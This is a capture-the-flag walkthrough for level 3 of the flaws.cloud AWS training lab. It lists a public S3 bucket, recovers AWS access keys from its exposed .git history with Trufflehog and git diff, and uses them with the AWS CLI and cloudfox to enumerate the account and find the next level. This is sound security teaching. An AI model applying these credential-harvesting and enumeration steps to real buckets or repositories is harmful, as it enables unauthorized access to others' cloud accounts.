Level 3

A CTF walkthrough for level 3 of Flaws.Cloud

Enumerating the Domain

In the previous level, we identified the entry point for Level 3 as level3-9afd3927f195e10225021a578e6f78df.flaws.cloud.

Again, we can look up the DNS records and identify this is also an S3 bucket hosting a website.

nslookup level3-9afd3927f195e10225021a578e6f78df.flaws.cloud

Non-authoritative answer:
Name:   level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
Address: 52.92.145.131
nslookup 52.92.145.131                                      

Non-authoritative answer:
131.145.92.52.in-addr.arpa      name = s3-website-us-west-2.amazonaws.com.

Enumerating the S3 Bucket

After listing the bucket contents as an unauthenticated user, we discover something interesting, a .git directory!

aws --no-sign-request s3 ls level3-9afd3927f195e10225021a578e6f78df.flaws.cloud                 

                           PRE .git/
2017-02-26 17:14:33     123637 authenticated_users.png
2017-02-26 17:14:34       1552 hint1.html
2017-02-26 17:14:34       1426 hint2.html
2017-02-26 17:14:35       1247 hint3.html
2017-02-26 17:14:33       1035 hint4.html
2020-05-22 12:21:10       1861 index.html
2017-02-26 17:14:33         26 robots.txt

Let's scan it with Trufflehog and see if it catches any credentials.

trufflehog s3 --bucket="level3-9afd3927f195e10225021a578e6f78df.flaws.cloud"

 Found verified result 🐷🔑
Detector Type: AWS
Decoder Type: PLAIN
Raw result: AKIAJ366LIPB4IJKT7SA
Resource_type: Access key
Arn: arn:aws:iam::975426262029:user/backup
Rotation_guide: https://howtorotate.com/docs/tutorials/aws/
Account: 975426262029
User_id: AIDAJQ3H5DC3LEG2BKSLC
Bucket: level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
Email: Unknown
File: .git/objects/e3/ae6dd991f0352cc307f82389d354c65f1874a2
Link: https://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud.s3.us-west-2.amazonaws.com/.git/objects/e3/ae6dd991f0352cc307f82389d354c65f1874a2
Timestamp: 2017-09-17 15:12:25 +0000 UTC

Nice! It looks like there are some AWS access keys for the backup user in this bucket.

Let's download the bucket contents and get 'em.

aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request

Enumerating .git

We can view the git logs.

git log

commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master)
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:43 2017 -0600

    Oops, accidentally added something I shouldn't have

commit f52ec03b227ea6094b04e43f475fb0126edb5a61
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:07 2017 -0600

    first commit

Based on the commit comment, "Oops, accidentally added something I shouldn't have" it would seem we should investigate the original commit.

We can view what exactly was changed in the commit with this command.

git diff f52ec03b227ea6094b04e43f475fb0126edb5a61

[snip]
--- a/access_keys.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-access_key AKIAJ366LIPB4IJKT7SA
-secret_access_key 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
[snip]

It looks like the author mistakenly uploaded AWS credentials in the first commit, and then deleted them in the second.

We can continue now that we have the access keys but alternatively, we can check out the commit and view all the files in case there's additional stuff of importance.

git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61

D       authenticated_users.png
D       hint1.html
D       hint2.html
D       hint3.html
D       hint4.html
D       index.html
D       robots.txt
Note: switching to 'f52ec03b227ea6094b04e43f475fb0126edb5a61'.

Using Access Keys and Enumerating Permissions

We now have AWS access keys! Let's verify who we are.

aws --profile flaws sts get-caller-identity                                                         
{
    "UserId": "AIDAJQ3H5DC3LEG2BKSLC",
    "Account": "975426262029",
    "Arn": "arn:aws:iam::975426262029:user/backup"
}

Unfortunately, we have no permission to view our IAM policies, meaning we have no idea what we can and cannot do with this account.

aws --profile flaws iam list-user-policies --user-name backup

An error occurred (AccessDenied) when calling the ListUserPolicies operation: User: arn:aws:iam::975426262029:user/backup is not authorized to perform: iam:ListUserPolicies on resource: user backup because no identity-based policy allows the iam:ListUserPolicies action
aws --profile flaws iam list-attached-user-policies --user-name backup

An error occurred (AccessDenied) when calling the ListAttachedUserPolicies operation: User: arn:aws:iam::975426262029:user/backup is not authorized to perform: iam:ListAttachedUserPolicies on resource: user backup because no identity-based policy allows the iam:ListAttachedUserPolicies action

Short of manually trying hundreds of AWS commands, we can use a tool like cloudfox to help automate the work.

Automated Enumeration with cloudfox

Cloudfox won't find everything but it'll enumerate a ton. Refer to their documentation to see what AWS checks it does.

We'll go ahead and run all AWS checks using the profile flaws I set up for the user backup.

cloudfox aws -p flaws all-checks

All of the findings are here (at least on MacOS) where flaws is the name of the profile you used.

/Users/tyler/.cloudfox/cloudfox-output/aws/flaws-975426262029

.
├── csv
│   ├── buckets.csv
│   ├── elastic-network-interfaces.csv
│   ├── inventory.csv
│   ├── network-ports.csv
│   ├── role-trusts-federated.csv
│   ├── role-trusts-principals-root-trusts-without-external-id.csv
│   ├── role-trusts-principals.csv
│   └── role-trusts-services.csv
├── json
│   ├── buckets.json
│   ├── elastic-network-interfaces.json
│   ├── inventory.json
│   ├── network-ports.json
│   ├── role-trusts-federated.json
│   ├── role-trusts-principals-root-trusts-without-external-id.json
│   ├── role-trusts-principals.json
│   └── role-trusts-services.json
├── loot
│   ├── bucket-commands.txt
│   ├── elastic-network-interfaces-PrivateIPs.txt
│   ├── elastic-network-interfaces-PublicIPs.txt
│   ├── inventory.txt
│   ├── network-ports-private-ipv4.txt
│   └── network-ports-public-ipv4.txt
└── table
    ├── buckets.txt
    ├── elastic-network-interfaces.txt
    ├── inventory.txt
    ├── network-ports.txt
    ├── role-trusts-federated.txt
    ├── role-trusts-principals-root-trusts-without-external-id.txt
    ├── role-trusts-principals.txt
    └── role-trusts-services.txt

As you can see there's a ton of data to sift through.

If we start with the buckets, we'll discover the one for Level 4.

cat table/buckets.txt  

╭──────────────────────────────────────────────────────┬───────────╮
                         Name                           Region   
├──────────────────────────────────────────────────────┼───────────┤
 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud  us-west-2 
 config-bucket-975426262029                            us-west-2 
 flaws-logs                                            us-west-2 
 flaws.cloud                                           us-west-2 
 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud   us-west-2 
 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud   us-west-2 
 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud   us-west-2 
 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud   us-west-2 
 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud   us-west-2 
 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud   us-west-2 
╰──────────────────────────────────────────────────────┴───────────╯

Navigating to this website, level4-1156739cfb264ced6de514971a4bef68.flaws.cloud shows us the entry point for Level 4!

Wrap-Up

In Level 3, we enumerate the domain we found in Level 2. After which we discover it's also a static website hosted on AWS S3. As an unauthenticated user, we could list and download the bucket contents. Within these contents was a .git repository containing AWS access keys in one of the commits. We used these access keys to enumerate our permissions with the help of cloudfox since we could not view our permissions.

Unfortunately, in this scenario, hard-coded secrets were found in a publically accessible S3 bucket. Since this bucket is hosting a website, nothing else should be stored here i.e., the .git directory. Additionally, the admins should be scanning their code for secrets to prevent credentials from leaking in the first place.

Last updated